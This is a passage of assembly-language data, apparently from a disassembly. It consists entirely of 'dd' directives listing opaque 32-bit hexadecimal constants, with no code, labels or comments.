		dd 3725C4BBh, 0D7897887h, 0E020FE8Bh, 0AE1F8F6Dh, 232BEA97h
		dd 0E337B981h, 0E1D7333Bh, 8797F5Ch, 0EAF79DA5h, 840EF7F8h
		dd 73EFA0A6h, 6397CB9Bh, 9C5E56F9h, 3B946D77h, 272AD566h
		dd 0C3A148D3h, 81846B31h
		dd 64EE2B1Eh, 0D56F754Fh, 0FE12DA78h, 7E1AC11Bh, 750ADBA3h
		dd 27A9DA35h, 0B2587769h, 0FC873595h, 48972F83h, 0C355A7EFh
		dd 0C79E6652h, 1F8998F5h, 0DF6136D4h, 6079533Ah, 0CD22DAABh
		dd 6D1B3F1Eh, 4B130274h, 72BA0235h, 0DDFDCF1h, 47F4EBFCh
		dd 8D55E46h, 0F3E0D7D1h, 2F6E7F32h, 17175A44h, 2BF8D886h
		dd 0DFC41FFBh, 29A46FA2h, 175B8100h, 8F74E1F5h,	0D2FF2A6Eh
		dd 5A1DE581h, 0F5437BA0h, 0A0D96376h, 0BF6EA711h, 759F6BC4h
		dd 0F1438B6Bh, 0DA0DF3FAh, 25F11125h, 0EAFC82C7h, 783F8E87h
		dd 0BAD1D48Fh, 0A950DDFBh, 1BA1CF3Eh, 6DA763B2h, 8F3BD2C9h
		dd 0F92C89DFh, 8CAE9A15h, 57F0EDF0h, 0DD9DE998h, 242C0877h
		dd 0B97F771h, 54B9B38Bh, 37A7DBB5h, 5FB465BAh, 335D9BE1h
		dd 0C9E7A5F7h, 2AC5FF15h, 0F9DD90A2h, 5E4E562Fh, 0B0AF02A4h
		dd 0CCC626BBh, 0F4ABDA33h, 5C7DE720h, 34ADAF93h, 83FC64A5h
		dd 0AFC8A704h, 0FF1974CCh, 8C2E7889h, 0D8CF70DAh, 50FD2F19h
		dd 37B2DEFCh, 0C73E9A74h, 0C41BB786h, 17F118BAh, 1AE196B0h
		dd 4821351Fh, 447CCE2Ah, 0DE0AAFE5h, 618523F0h,	6F46EFC1h
		dd 8E62E37Eh, 0A0205A06h, 0AB5A3B57h, 0F2943438h, 0DB4B1E2Fh
		dd 7C5FFD7Dh, 0DAC1A0A9h, 77B36EA8h, 644B23Bh, 3E616E3Dh
		dd 1C3A6DEh, 0EC9F969Ah, 0A0065F79h, 5ACFC2F8h,	0DC8EA89Ch
		dd 2EC90790h, 0BE228312h, 689CB12Ah, 0C623EC92h, 0CEA6CA02h
		dd 6EEB90ABh, 79A185FCh, 434015D6h, 0CBD2D845h,	5B806ED2h
		dd 0E76FC016h, 5F689207h, 81E7C97Ah, 77B74488h,	0CD2333C6h
		dd 15096876h, 0FEF96969h, 9D8A2ED3h, 5C187ECBh,	0A1F19D31h
		dd 8EDD77D4h, 0B3C871CCh, 6C2BCE05h, 0FA2AEBADh, 12010EC6h
		dd 318BFAABh, 0C293F68Dh, 68F03ADCh, 0EC497F8Ch, 0F95162Bh
		dd 677F0045h, 0F31E5F45h, 66832EC7h, 0E8AA5B5Ah, 0BC339557h
		dd 7D1F8A2h, 7EEC6C3Ah,	717EABE8h, 90DF1923h, 0ED2E5990h
		dd 0CF7454C7h, 9D59619Bh, 0B90227EBh, 4661A308h, 8A0F74A9h
		dd 57375AFFh, 0F50F894h, 2FE35B79h, 6D95B79Ch, 33EF38B6h
		dd 91913065h, 0F695DD3Fh, 7F57ED8Eh, 7934C551h,	1E252ABFh
		dd 0C7FB44A6h, 0AFD0F2BAh, 1A35CE12h, 8DC53A2Ah, 5F9BC0B7h
		dd 0F825AF3Bh, 5E677079h, 0BBDF11FCh, 8D79DF8Fh, 1383D9DDh
		dd 5268D25Fh, 2BF03B17h, 0C49186D5h, 21B3F32h, 5238E541h
		dd 905F4E74h, 73D9B595h, 0EDCC0617h, 897132D0h,	0D2BEFF9Ch
		dd 1F0A603Fh, 21B3C6D4h, 0A928CAF8h, 78CEE6DDh,	53B47A49h
		dd 6CA391ADh, 34A577A6h, 101D7975h, 511A576Dh, 567E146Fh
		dd 6C3D2E5Eh, 3DD5A44Eh, 44111B7Fh, 2FE0F962h, 8A4D9EAEh
		dd 0D218B9F4h, 0ED56CE89h, 6642374Bh, 81B57C40h, 77B598A8h
		dd 0D42B2C98h, 6FCDC3F0h, 75689B7Dh, 4FF7EDE2h,	0BC607975h
		dd 0C9C53DCh, 5FE7979Ah, 0EBF185FFh, 754CD762h,	60E0759Dh
		dd 0C3F1872Ah, 0D1F43F69h, 2C04B8B7h, 5866EEC8h, 0B03C7E5Ch
		dd 0DA96EB91h, 0C5FA7D83h, 8D81844Ah, 0E77CD6AEh, 0A065C8AAh
		dd 1FA92010h, 0BCFD12BEh, 3D63FC41h, 8BF27B6Bh,	4C3B92C0h
		dd 10F17D6Ah, 3065A3B4h, 0FB3C3696h, 0D981FBC6h, 0FB17C367h
		dd 0A2916DE8h, 216EF892h, 52AA48A4h, 130B1893h,	0BFD4890Fh
		dd 0C073FF4Ah, 3036C14Fh, 342BC054h, 436DC6EDh,	0FCBECEAh
		dd 53F9EEA3h, 0DB80C3E5h, 0AF8285F9h, 0FAE9BEB2h, 0CC5D03E0h
		dd 0B288528Bh, 55DA2EB2h, 721AC1F8h, 20E1E9ECh,	53665B22h
		dd 0EF685DD0h, 1D4AB298h, 13BA03E6h, 7FB2B434h,	0A3C990F2h
		dd 0FBE68F78h, 0DD8AC282h, 61DA7F79h, 5976D160h, 0CE74E119h
		dd 1D5B91F1h, 2ADC2F9Eh, 0FB50211Dh, 0C2E10E7Ch, 0AC18D82Ch
		dd 0FA64AB95h, 97FA2C08h, 0FD7ED2D0h, 0D68E3B68h, 99423357h
		dd 7114E443h, 0AB376CA1h, 7F4552E9h, 1BB997F0h,	1CF2F8AFh
		dd 0E06127D8h, 5B38E3E1h, 0D23A8359h, 1BAF3A31h, 0E95CF348h
		dd 99DF89Ah, 0B7A22E8Fh, 0E7365C0Dh, 9D13E287h,	0E19CF0D5h
		dd 51616041h, 0D9CB8CFBh, 0EAE3152Ch, 0C0F8FB9Bh, 0FEEDD8BFh
		dd 0DB59C4D6h, 0FE0BFFB7h, 7C325695h, 0A7E958FFh, 7D67A02Bh
		dd 0C8954C55h, 0D145383Eh, 87C0409h, 0DD58B50Ah, 0DAAD128Eh
		dd 24EAB0BBh, 8A0542F7h, 0BDCEA1C3h, 0E2C27D1Eh, 99242ABFh
		dd 2F75A94Bh, 448A4760h, 0BB35A1E0h, 0A06E3874h, 242D7AF9h
		dd 57710EA4h, 6396A8C7h, 1DA20B17h, 0E24FF7EBh,	93E061ADh
		dd 0BD296027h, 41513B53h, 0B7B52DE8h, 0AFE97E5h, 64D9E3D5h
		dd 0ECF53713h, 15FAC127h, 7175F4CCh, 0E687C526h, 89547F6Fh
		dd 53050E1Dh, 0A3236CD5h, 7B9A24F7h, 0D87B507Fh, 97FFD7Ah
		dd 6F5BCD86h, 0AF8F6133h, 0AA42E098h, 1FD3A965h, 280A6BBCh
		dd 6A103723h, 6F8BAC46h, 17711140h, 5CD6F351h, 8952257Dh
		dd 0D78F677Ch, 1E65FC92h, 0CF41C1Eh, 6E37394Ah,	233B5003h
		dd 0DB46E9DEh, 446ECFBFh, 3DF82E9h, 0E2B12C2Ah,	0FCB96AB9h
		dd 6E05379Bh, 4568C4D4h, 71D43560h, 0B29F39C5h,	9A2FC082h
		dd 6DFF5C8Eh, 9782A96h,	863B696Fh, 0C501E603h, 63409284h
		dd 0CEDE43C1h, 0E5464087h, 75B6704Ah, 8087BA8h,	84398529h
		dd 0A07F7275h, 5CDD756Ch, 0AB320D55h, 1B476E2Eh, 367B6DA3h
		dd 80968AAAh, 0BE6837F4h, 93C7766Fh, 6202BD79h,	7A5AE9B0h
		dd 21782AC9h, 7F3F5BA5h, 9193E187h, 88427A56h, 8FDC8C3Dh
		dd 0FC511C0Fh, 44A4EAF3h, 8C1E6CABh, 749A4908h,	4060789Dh
		dd 8FF01C3Fh, 839CBCE1h, 8103F183h, 2E45B596h, 0EB87DDA1h
		dd 0CAB5C172h, 0E4855AC0h, 0BD98693Bh, 1B924AE2h, 0F1288770h
		dd 0AFC5FE1Eh, 693EBF4Ch, 0BC1B74A7h, 0D2BB0B7Bh, 251C0B31h
		dd 0DEB9FDBDh, 0B9CDF199h, 0EFE01F34h, 7A9AA6B9h, 13A9BDCAh
		dd 1950D854h, 0DAD10A7h, 289BEBF1h, 0DC9AB07Dh,	2190FC15h
		dd 0CA4C4513h, 51A36912h, 8AEB2537h, 1A9A731Bh,	67740C6Eh
		dd 45D40577h, 90AC0FFAh, 1354FAF1h, 0C0B4AD9Ah,	0D18FEBFEh
		dd 702D2564h, 289B480Fh, 0DF858070h, 0A5BDB415h, 71A9477Eh
		dd 7E70B521h, 3B9F4354h, 57625DF5h, 5CA245FCh, 3597C784h
		dd 0EA3C048Ah, 83056ADDh, 72DC9B56h, 0BBCD2CADh, 0CAD94759h
		dd 6676F1D1h, 0C7C2A7D4h, 27404BBDh, 3E6C837Dh,	2C955FD7h
		dd 0EFA1B64Ch, 6CEA25BCh, 3CA77DEh, 3C4069Ch, 0ED0306A7h
		dd 18B8C28h, 5A479D4Bh,	46A7898Eh, 0EAD2975Bh, 0A6DAA4A7h
		dd 0EE8DDFA9h, 0F07DEEA2h, 0F4AE6206h, 0BDB17D25h, 0DF170919h
		dd 0D5B92CE0h, 0C05A275Ah, 589E2EB6h, 18533696h, 263D10C3h
		dd 0CEDC0EFDh, 71707C0Fh, 0CBC53C89h, 561E2881h, 0A3096957h
		dd 6BA6F19Ah, 5CD39DF8h, 153F168Bh, 0F44C73F7h,	0D016A726h
		dd 52629410h, 0AAE8AE8Bh, 7672B8BAh, 0C02D813Bh, 43F05130h
		dd 0CD54129Fh, 1DDB17FCh, 422E7BF5h, 9B938F5Ah,	0B44D6FB5h
		dd 4873BC40h, 47F8523Ch, 117F0724h, 0F7936E1Ah,	3E37C38Bh
		dd 0B6EDC37Eh, 27AFE53Ah, 55958ED0h, 0BB6CD40h,	517C8AE9h
		dd 0C5E1E8F7h, 79E66301h, 0CF388DCAh, 0B6822F84h, 0BF43253h
		dd 983B942Dh, 553A917Bh, 7CFC2361h, 6FD05756h, 22C6AE4Dh
		dd 746FE4B4h, 252B7F09h, 1AB35DE1h, 41088D97h, 76B95BC5h
		dd 0CA0D5A27h, 0FE087F79h, 0DC34BE20h, 9BAC26FAh, 7EE75CBAh
		dd 9899EF69h, 0BC1A2EBEh, 0BB03F3F6h, 79FDB6D0h, 2DE0641Ch
		dd 2CB8F07Bh, 44E669F8h, 5D4473E3h, 7ECD77B8h, 45FD3F6Ch
		dd 453326D9h, 0C8A1E189h
		dd 0A1C95A16h, 0C77F2520h, 3384B9C6h, 5F135A23h, 6881CF95h
		dd 0F3E5A139h, 0D72D5B93h, 0C1564F30h, 13DAC3EDh, 86DE9C6Fh
		dd 0FFA575AAh, 8EB6DFEBh, 68CE4A24h, 33550C69h,	66EEC17Dh
		dd 72F8C3CCh, 0F56A2758h, 8A5F312Dh, 951EAD1Bh,	0FD1FF346h
		dd 7E9EBD98h, 1CE8E783h, 98F504Fh, 37005B91h, 0ECA377FBh
		dd 581F7DABh, 0D75A9B25h, 0ACB2DA22h, 507E2611h, 0D1ECC5F9h
		dd 0CE355856h, 5F24CD09h, 834191FBh, 6A81D77h, 0BC8048F4h
		dd 55EA36DCh, 0A0C845F8h, 734F2AFDh, 4E9FD912h,	0BF31744Ch
		dd 0ABAE1223h, 0D88B29D2h, 8A85D6DAh, 5C02BDDBh, 0D25B19D0h
		dd 4E6CF903h, 0A7F093EEh, 8BFA2998h, 0CE5FF798h, 60BB089h
		dd 1A417F1Bh, 6065CF78h, 4FF82150h, 17B5D337h, 726FF47Fh
		dd 6AEF40Dh, 48A946C8h,	107E7DF8h, 7E370EB9h, 0D644FFC5h
		dd 0F9D235CEh, 0DBED45E0h, 0F963F57Bh, 44131160h, 0FCB5BD15h
		dd 0EC419B38h, 0E7D3AA33h, 0FD925C6Eh, 1AEA3B67h, 23E0F0A1h
		dd 6D270B2Eh, 86B3F556h, 0F5ACAA6Fh, 27F06BB8h,	24653B26h
		dd 356BF46Bh, 7C762A43h, 193F462Eh, 0ABD3F2BEh,	0B6A2DE1Eh
		dd 3B57112Eh, 7A36BF05h, 68FB69E3h, 0E503F391h,	8CC3482Ch
		dd 0BC1E0478h, 929FEC8h, 75CDE75Ah, 9612986Eh, 0A237E251h
		dd 5DC5CC2Ah, 768E77B2h, 0B34270BEh, 0E5F43870h, 0FC6415E4h
		dd 6DE688Eh, 622A7D04h,	383E2852h, 0EE0834D3h, 3FDF3EEh
		dd 61F4C02Dh, 0D956CC62h, 0E0CFCFE3h, 0FC707D80h, 62D1B39Ah
		dd 0D3AFE33Bh, 0D0CFF5FAh, 80EBB887h, 0BA42A59Ch, 49348450h
		dd 0E8F3D4C9h, 3792AAEDh, 0FA27F278h, 65B0BD78h, 27551959h
		dd 0FAEDC9A7h, 70575226h, 68F325D9h, 1392FB7Eh,	0E3B811DBh
		dd 0FBA80AEDh, 4E848EA7h, 0F6AFCB20h, 10F734A2h, 89EFF981h
		dd 6078FB4h, 94F1A86Dh,	0DD9A1B71h, 0F3937D8Dh,	0A2CD898Fh
		dd 579F8392h, 0AC72FBC4h, 0D8EBCEE0h, 79DD42F0h, 358693BAh
		dd 0EDFF6E55h, 0F1BDB3CDh, 664AB33Fh, 7E367E49h, 688401CEh
		dd 0FCD352A6h, 0C9F49E4Dh, 0BBBE1D66h, 98D3C0F3h, 0C0968EA6h
		dd 8DAA0F83h, 0FDB6E197h, 0CC56558Dh, 0AE5C5D56h, 0E8EF2768h
		dd 0E3C1E55h, 111B6930h, 0C0F7EB77h, 8D3609BDh,	93FCF75Ch
		dd 0F9DC9DDEh, 0AF07D1CFh, 0FBEFB0E0h, 51C30A85h, 71265EFFh
		dd 0C5597994h, 3A3C893Ah, 0E4E06D0h, 0BFBF4A77h, 0EB722EAAh
		dd 0ABB53B2Dh, 0D77C9D71h, 95A72511h, 5BC9F37Fh, 1B538FC6h
		dd 0D75FBD58h, 0B9FB5A4Eh, 0D191EE9Bh, 0C3B1875Bh, 0D131A5CEh
		dd 0CC9F4DE4h, 61DABF0h, 95B39F29h, 96751751h, 0A5B6DC3Ch
		dd 0E80CEC3Eh, 4C56AC02h, 0BBFCF83Eh, 0FF15CE6Bh, 5F43B45Dh
		dd 0FBE46E8Bh, 0CC265BC7h, 0D988ABA4h, 85F88679h, 0FB13269Ch
		dd 4B1B6913h, 3A27FEEh,	0D5D79A35h, 1DEF86D1h, 75C127E5h
		dd 0B077BF54h, 0A74811B4h, 5EA398DDh, 2AC5D2C1h, 213CFF35h
		dd 6E3BC93Ch, 8D57E19h,	30BA8526h, 0E7CC1436h, 4FFEA7D2h
		dd 281A9F99h, 8F0D58BFh, 2A7517F1h, 492B4AB8h, 349CA574h
		dd 0BC6EED6Ch, 0FABA1487h, 71F5A2AFh, 7EA6AFC0h, 969FE10Fh
		dd 0C06F6342h, 52A5D0B8h, 0EE5A3932h, 0D0ABEB6Dh, 17975B93h
		dd 9454D960h, 3909CEE7h, 5067817Bh, 4BCA5CF7h, 0B533EAC1h
		dd 2551E19Dh, 296E979Ah, 0A15D7F33h, 0C2D68E3Dh, 6A3BD173h
		dd 0EE92C3F0h, 47FCCB00h, 4EB5A8B5h, 0F37DB050h, 1E7BF1CBh
		dd 2A42DA10h, 167A0668h, 131F6EE7h, 3D2ED5EEh, 9A8F06Ch
		dd 715628B0h, 3D5DAA94h, 4514BF3Ah, 7BBAE44Ch, 4B9BE0D0h
		dd 24306B44h, 520A187Dh, 0E9C62889h, 0D84D2C0Ch, 0F471EC0Fh
		dd 37389C4h, 58DC97ABh,	673EBB7Ch, 0F72EBE96h, 0D60957B4h
		dd 4CAD55D8h, 63BA5327h, 8EA55BC5h, 0CDA67C6Ah,	0F294C19Bh
		dd 4496B81Bh, 7CA5DE96h, 4D8BBCFAh, 0F54AD1E1h,	0B7E8E58Fh
		dd 0A58DE6B5h, 28A05BBEh, 8B9149ADh, 0EF09B5EDh, 0E0EB21C1h
		dd 0F340B03Eh, 0FB66A367h, 0B02FE3F3h, 0C06BFAE9h, 0DF3C167Ah
		dd 8A6F1D7Eh, 85C3C384h, 765A3FD0h, 18AE81C0h, 86FCC48Fh
		dd 0F225FBA3h, 7F253E4Ah, 0E7BB2E1Ah, 1C0DA456h, 0F3FD178Bh
		dd 64A6B32Bh, 71CEFA28h, 9CA2B3E2h, 395CDF05h, 429B9F3Dh
		dd 50188FA9h, 0A317C66Bh, 7AAA1A4Eh, 9D28B6F5h,	9C36113Ah
		dd 1954CFFBh, 0BFCBA01h, 375BA538h, 0FAB5426Ah,	0E10BF870h
		dd 8053FD53h, 8D14EE4Dh, 6704345Dh, 7BF8FBA2h, 617E6EA9h
		dd 2CDAAB93h, 0A9F65D8h, 5D9F52E0h, 0B44666F6h,	0DCDBB049h
		dd 0D1BAD164h, 86564C5h, 0A365FE11h, 0CC7DCF69h, 68F25005h
		dd 0F6D1259h, 0F4EDA923h, 62FBB899h, 4707D24Bh,	0A7048F72h
		dd 0C0E56C3Bh, 0C1B6945Fh, 7905FF14h, 0BB6CE46Fh, 0B8C5E76Eh
		dd 0C3B7BBC6h, 36113E62h, 0F5DAA3BFh, 8C0F25Ah,	0B6B850DDh
		dd 0B0E04A6h, 0C2570B73h, 9EFB6B31h, 2BBD2C8Bh,	0A02244C5h
		dd 8210E78Dh, 0E6D901F7h, 468CADE2h, 283D9B6Ah,	3FDFAD81h
		dd 0E5617836h, 8FB19E12h, 0AF61E66Fh, 40A8CD76h, 0BE8AA0EBh
		dd 6F326FFCh, 529EAF12h, 0A83AC09Bh, 0FBB988B6h, 7D7C1FBCh
		dd 7FA716A1h, 21CEC997h, 4276051Fh, 8E7E57EEh, 1DDD795h
		dd 0FE6FC698h, 4D0DDED1h, 0F57D17DBh, 7D1A0F62h, 57B4B8DCh
		dd 0DF40D160h, 7D5F988Ch, 2AE835DBh, 0A39F3D8Ch, 0EAAD2D7Bh
		dd 2C065CF6h, 0BC6F0C62h, 4DC1B4DEh, 0B45DA14h,	1DE6E6CAh
		dd 24196BA5h, 73056822h, 0F7DB7D24h, 6A329599h,	3017FEECh
		dd 0B555192Fh, 0D1A198Bh, 75C5E6D5h, 6B21F869h,	829C54CFh
		dd 0D581FEE3h, 72D4F940h, 26E7328Dh, 8A723C6Ah,	20B2FE56h
		dd 0DBD02D5Fh, 0CAD435C3h, 0E0F3628Fh, 0F40A34CAh, 6BF7896Bh
		dd 78C02BFEh, 0B0556D18h, 0F8D8BDEAh, 0ADAEFDCAh, 1EB35BE0h
		dd 0DA079A4Bh, 0C5F4D78h, 0E8F006E2h, 0F7E7D5C7h, 81C7E7AEh
		dd 39CDD965h, 6311C044h, 0D679318Bh, 0B9BC1BA5h, 0C7B84A74h
		dd 9A7E5653h, 0F6091993h, 92DDF0DEh, 0EDB8D13Fh, 76E63715h
		dd 0CFDE303Fh, 0A84433D5h, 545B4EE6h, 3D23008Bh, 9FEDF3EDh
		dd 0F778BFCh, 0FAC582BAh, 2635A385h, 0EBFC38DDh, 7D6201FBh
		dd 0E39A814Fh, 72FCA749h, 8C4BEE4h, 0A22D11DFh,	0BD8604E5h
		dd 0D38185FDh, 2FF2D374h, 72168A4Ch, 0CDAB9B5Bh, 0EA95BF13h
		dd 5F8B9BFCh, 3DDBA764h, 0BB4639EBh, 0A734FDB6h, 2F96D6FEh
		dd 0C6EDBF7Bh, 0B90E0F37h, 5E08EA17h, 0DB0E93C4h, 29F6AAAFh
		dd 0D8C9B76Ah, 0A4D02AD3h, 0B55AD15Dh, 85689505h, 0AD84E92Fh
		dd 0CAA3D5BCh, 0A6C0F8A0h, 0B945B075h, 5D70D0E3h, 43011753h
		dd 0EC762D56h, 0C274FEA2h, 8FAFE83Ah, 0A6D29DACh, 4C4DF34Eh
		dd 0CDC421F8h, 0EE648C88h, 544E8F0Ah, 36FC9F53h, 9DCC3B1Fh
		dd 0C0F23D74h, 7F6BAC41h, 72EB43BCh, 0A8EED98Fh, 0CA35400Eh
		dd 3D9061E6h, 9E30B91Ch, 0E522D054h, 0BF1881B8h, 0E21246EFh
		dd 0D6703C73h, 0FC5E1531h, 0E2A6F8CCh, 2A168C67h, 72355E5Eh
		dd 0A30EC1FBh, 0B905258Bh, 146723E1h, 0FB977E44h, 0CF9C1011h
		dd 3A925C23h, 0AB34A682h, 8252D19Dh, 709AD4D0h,	0E76B615Bh
		dd 49B84E7Eh, 70145912h, 5F4B4665h, 0E219A013h,	0A4E2EDABh
		dd 6FB28320h, 0A1083C5Bh, 12AF827Dh, 9B748262h,	0F3D79629h
		dd 66657601h, 3ED2AB46h, 126413FDh, 292A9B39h, 0E3BFFBABh
		dd 0BF7527D3h, 0F34FC1F1h, 208ADA57h, 0F30CE4C5h, 75533081h
		dd 0F3647824h, 0AA18D829h, 0F59DE583h, 2075DF40h, 92DA2E85h
		dd 76BBE8A9h, 0BCBC2D51h
		dd 87C72701h, 747B772h,	7926E972h, 0A6805C5Eh, 415255D8h
		dd 0A11DF91Dh, 3D99BC0Fh, 0C70FCF77h, 6D84F742h, 4E7CFC7Bh
		dd 3AFECAD1h, 0AB92895Fh, 22B4AED0h, 0EDEC81D0h, 0A40EA02Ah
		dd 776C3995h, 21DB8118h, 78D6C5E0h, 7F17DAFFh, 9A78E12Dh
		dd 0A499BB51h, 0DADCFAE9h, 0A291EF9Ch, 83EAF8FAh, 53EC73EBh
		dd 702B6207h, 4B5CBA79h, 0DB155872h, 0D601569Fh, 5381F335h
		dd 991DAF97h, 0E3636CD6h, 89DC0FEBh, 536C2BE9h,	0A40A6CDCh
		dd 752F6C23h, 8E4401B8h, 6095B0CBh, 3D96DDCDh, 5E07F5DBh
		dd 0EC71E4ABh, 75529747h, 0D37EAEDFh, 0DD185F1h, 0F825A1EDh
		dd 0C497F0BAh, 0E03A9196h, 0DBB8A3E9h, 0CBE0BA98h, 7F6F7B4Ah
		dd 0BE0729E2h, 8605B68Bh, 10979ACBh, 0C13B0AC0h, 0FEC8D122h
		dd 0DFD5B829h, 929F069Bh, 296886AAh, 0B3A1B7A0h, 41942838h
		dd 0EF5907F9h, 741EAF09h, 5B8A33FCh, 74CF3DC3h,	0C7C0DEE6h
		dd 5AF4C05Dh, 73567C3Fh, 80E79B8h, 0A5A7E5C9h, 56B5411Eh
		dd 0D0A0F895h, 7CECBFD8h, 370FADCBh, 0D5907662h, 399D2425h
		dd 7D3035F5h, 0DA95569Dh, 0C5AAAEDAh, 8E244E78h, 8DD4988Ch
		dd 5FB808Dh, 0EBC73619h, 51FDA13Bh, 0FD01AEE6h,	867B1BBDh
		dd 0EDAE6A35h, 0A829B552h, 0B9DF056Dh, 9A26AA10h, 0C6AC905Bh
		dd 5636C2ABh, 66B485D0h, 0C5BEBC51h, 0F5FDF852h, 0CF4C92F8h
		dd 0A8E89B2Bh, 6B79A6D7h, 0DC96A2EEh, 2BE1BF0h,	48F7EECEh
		dd 0F1BE7461h, 0A3367F2h, 452B9EFDh, 9DCEDBEFh,	21AB9DDBh
		dd 40FFA123h, 0D5EB3751h, 0C4CEF9A5h, 0A5FEDB3Ah, 0CFA0B7D3h
		dd 0C5ED3FA3h, 0B057F098h, 0B9B03692h, 0ADC3F150h, 0C5E456FFh
		dd 794262FDh, 0E48773CBh, 0FBB2F58Ah, 74FC0C0Eh, 11CC6443h
		dd 232B2CD7h, 7780C327h, 0DFB0C187h, 0CB7C7397h, 0BF2BC0AEh
		dd 17E1DDB2h, 9F09040Fh, 0BB52B44Dh, 0B35A877Ah, 84E551FCh
		dd 33252553h, 8D73E1D5h, 0B17F7705h, 0AB5626DFh, 355D2D8Ah
		dd 0CFB38980h, 2FCF2923h, 83BFF765h, 0D1A85781h, 0C6D5285Dh
		dd 42B87C74h, 0B71055E7h, 7354BD20h, 981F9EB6h,	0C56EF10Ah
		dd 0C56B558Ch, 0B0E75EFEh, 6E5C08FBh, 0EF3DDF88h, 82C5479Fh
		dd 0DED532ECh, 2E80CBEDh, 24A6E156h, 5F875B89h,	81F06CAFh
		dd 9F756442h, 85EDC57Ah, 4B423C30h, 350FC877h, 31B31BC9h
		dd 9875AAC8h, 6E04A53Eh, 0D3BB2EF1h, 0AB77E9CEh, 0FD47A730h
		dd 0A3E29F6Fh, 0FA752019h, 25C27FE6h, 0B086622h, 0C4BC1BCh
		dd 0CBD5902h, 9EE6C174h, 822B4630h, 3B5526E2h, 0DC2A5467h
		dd 0EF092FF2h, 9CEF735Eh, 8038D1F8h, 5D53CD3Eh,	0F7D520F1h
		dd 0D5ACC5EAh, 7E776AE6h, 51F0518h, 40364BF9h, 88DF4BD7h
		dd 0D7DB8ADh, 0DAFA3D24h, 146C2D70h, 0E7FC8B45h, 738A5600h
		dd 4D1BF64Dh, 0B5CB43F0h, 53AFD3F4h, 9775D68Ch,	0B8D57029h
		dd 0DD79712Fh, 0E9F96D63h, 8FB2839Dh, 0B862AB94h, 4B69676Ah
		dd 0C0D76B01h, 0C37CFB31h, 6E2EB687h, 4ABFC692h, 0ACE96678h
		dd 0AB852A44h, 7962F20Bh, 9FC136A3h, 0C3F0FEF5h, 4640062Eh
		dd 0FF641B74h, 0A5F74B4Eh, 0F3AEFC00h, 0DF3F570Ch, 4EB4757Bh
		dd 44EB0512h, 0B4AAC604h, 33D964CCh, 0A176D945h, 0F54738E4h
		dd 5D50E1BCh, 74C51F08h, 158AAF06h, 7DBE1BFBh, 0D61D337Eh
		dd 2120290Ah, 0F55EF130h, 21C1F74Bh, 9CE39A61h,	3BAE9F57h
		dd 0D31AE435h, 0B61D8C54h, 0C784861Eh, 2E225675h, 97C99F2Fh
		dd 0F51495C5h, 7F2B5B0Bh, 0D6941113h, 0E5DC1189h, 3FB29573h
		dd 79369343h, 0F191C331h, 4C3F8AAEh, 0FA95E0D0h, 0D1BCE8DCh
		dd 0DA63745Ch, 8EDA168Fh, 144D610Ch, 9B42F9A5h,	0AEB106B1h
		dd 39D56894h, 3068BBF7h, 0E89FB9D7h, 2B0FC42Ch,	1FF65A25h
		dd 164FDFF5h, 81B8F37h,	0C547315Dh, 161050A0h, 3DC46D16h
		dd 0F867385Bh, 0C02FFD76h, 386D669Fh, 0B8429305h, 494EC0ACh
		dd 0C2C1BB03h, 9D764D4Dh, 0D6C4514Dh, 0E02FA505h, 1B77CF28h
		dd 77D10FEEh, 4C3DD859h, 776837CDh, 52383C08h, 8D41580Eh
		dd 0F24F0BACh, 16DF4A91h, 778BEECFh, 0EB83E18Bh, 0A55B3F53h
		dd 9E14CA44h, 0D5AAB33Fh, 0F07F630Bh, 65FE87E1h, 0B6B1875Eh
		dd 0D467FEA9h, 477CAC6Fh, 0C4B464B2h, 8D406E63h, 217FC9B8h
		dd 39E95FF0h, 3D5AB563h, 0BDBF02DFh, 0EC155491h, 4F87324Fh
		dd 2CC254F3h, 9689F6F0h, 0D69EB67Fh, 97189595h,	9083AF2Bh
		dd 0F187EEABh, 0F4C2752Fh, 6265F68Ch, 28595E78h, 4A8E2CEDh
		dd 4E6B60EAh, 0AF6723A9h, 0DC9BBA5Ch, 3F1BC4E9h, 839E8E46h
		dd 0D8E943B4h, 53AFB21Ch, 8E2D7E8Ah, 0B6F7185Ah, 0AC47672Bh
		dd 8235B9D6h, 34C357D2h, 0E83631DDh, 1DDD562h, 47D970E6h
		dd 0C5C4B10Ah, 0DB16BF2Dh, 5EC0F9A7h, 1D8A0E8Bh, 83C6881Ah
		dd 0F7527C99h, 5C517E75h, 0FC6B22EAh, 71076BDBh, 0FC036D5Fh
		dd 5902A9EAh, 0CADEE2BEh, 8602B7BBh, 4A17F8E1h,	9EE44DADh
		dd 81B551DDh, 248045F0h, 0CA92F57Ch, 157C1579h,	0D58253D1h
		dd 0E9392AB1h, 0C34BCF30h, 0FE4B4AAAh, 0D927D178h, 0FDA61095h
		dd 535E3CA9h, 237C2CCDh, 529B3F62h, 5D9D9034h, 48628F98h
		dd 69FB7C58h, 0BA744015h, 0CF6E9C74h, 95305A27h, 52B445AAh
		dd 7B8ECBFDh, 50422839h, 0AB603AF1h, 0FC873BDBh, 0EB6D2746h
		dd 14522584h, 0C8FF8907h, 0CCE2076Dh, 0EFC540A5h, 0C6A17DBAh
		dd 1502973Bh, 2177E7E5h, 15DEE91Dh, 0F9FAD0C2h,	75FB179h
		dd 4B5DDB4Bh, 0D749783Eh, 0C1D42D11h, 0BA669B44h, 0BAD58472h
		dd 1F823D10h, 521EEFE2h, 0FBCE105Fh, 5D7C3F07h,	45832BE8h
		dd 7F9C0F37h, 0D35AD267h, 0B01A3DAh, 0C052D5CCh, 266AE28Ch
		dd 57CFC301h, 0ACD566D0h, 51FF2613h, 0EF2BAE82h, 578BAED1h
		dd 27D141DAh, 2A849D9h,	0FCB3D9D3h, 0C5101D7Bh,	0B14F9E22h
		dd 0A4FDC1EAh, 2EB2FACDh, 0C46843Fh, 6DD7C093h,	9FD9FF3Ah
		dd 0F02DD65Eh, 0DDC7CE28h, 5A2CE575h, 0BDA4BAE5h, 1B6AEAF6h
		dd 8D65DBD1h, 0DF3741C7h, 6DC0D1D0h, 1C8A9DFBh,	11944525h
		dd 4EF47D36h, 57A35B3Eh, 0DB89CB76h, 0FD3C8FBCh, 0C869D87h
		dd 51DCDA4Dh, 238A617Ch, 0E55E906h, 0E57C4DF0h,	387B8C4Ch
		dd 8B3ABB26h, 3682ADB0h, 80D68BF4h, 9DD3353Ah, 3F03CB49h
		dd 4B8EC9A3h, 5F036E83h, 59A7C71Bh, 8B8CAD01h, 695F6D86h
		dd 15379F7h, 74E1C031h,	0D23E3DDBh, 0BD9E75C1h,	0EBCF81FBh
		dd 6DF1BBD8h, 92CEE493h, 2D13BF97h, 0FF54767Ch,	58F82EECh
